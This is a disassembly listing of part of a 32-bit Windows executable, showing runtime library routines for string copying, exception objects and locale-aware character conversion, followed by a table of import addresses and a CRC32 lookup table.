sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 265037Ah
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		call	near ptr 264106Ch
		nop
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 282113Ah
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 282113Ah
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 264106Ch
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 264106Ch
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600571h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600571h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 282113Ah
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 282113Ah
		nop
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2610000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0B08h, 2600000h, 260051Ah, 2600571h
		dd 2610000h, 26106E8h, 2610C9Eh, 2620000h, 262081Dh, 2620A64h
dword_427030	dd 2620A7Fh		; DATA XREF: ___:004239E2r
		dd 2620B33h, 2620E13h, 2620E75h, 2630000h, 2640000h, 264106Ch
		dd 2650000h, 265037Ah, 2650955h, 265097Eh, 2660000h, 2660761h
dword_427064	dd 2660B4Fh		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2660C7Eh		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2670000h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670323h, 2670630h, 2680000h
dword_427080	dd 26803B2h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 2680437h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 2680591h
dword_42708C	dd 2680656h		; DATA XREF: sub_419C09+B9r
		dd 2680BD5h
dword_427094	dd 2680C22h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 2680C98h		; DATA XREF: ___:loc_4013DCr
		dd 2690000h, 269010Ah
dword_4270A4	dd 2690214h		; DATA XREF: sub_409909+2r
		dd 269032Fh, 26903E7h
dword_4270B0	dd 2690ACEh		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 2690B4Dh		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26A0000h, 26A0BD2h
dword_4270C0	dd 26A0CBDh		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26B0000h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26C0000h, 26D0000h, 26D0503h, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E0563h, 26E07E8h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 26F1066h		; DATA XREF: sub_4119F9+Br
		dd 2700000h, 2710000h
dword_4270F8	dd 27107B7h		; DATA XREF: sub_4187E0+36r
		dd 2710A8Eh, 2720000h
dword_427104	dd 2720625h		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2730000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 27315F5h, 2740000h, 2740A58h, 2750000h, 27504D3h, 2760000h
		dd 2770000h, 2780000h, 2780C95h, 2790000h, 27900D7h, 27901B7h
		dd 279044Ah, 2790827h, 27A0000h
dword_427148	dd 27A0351h		; DATA XREF: sub_4172C1+BCr
		dd 27B0000h
dword_427150	dd 27C0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27C096Fh		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27C0A15h
dword_42715C	dd 27C0D27h		; DATA XREF: sub_41761C+56r
		dd 27D0000h, 27E0000h, 27F0000h, 27F076Bh, 2800000h, 2800341h
		dd 280049Ah, 2810000h, 28106A2h, 2820000h
dword_427188	dd 282113Ah		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2830000h, 283058Bh, 28309C9h, 2830D49h, 2840000h, 2850000h
		dd 285205Fh, 2860000h, 286194Dh, 2861967h, 2870000h, 2870E5Ch
		dd 2880000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
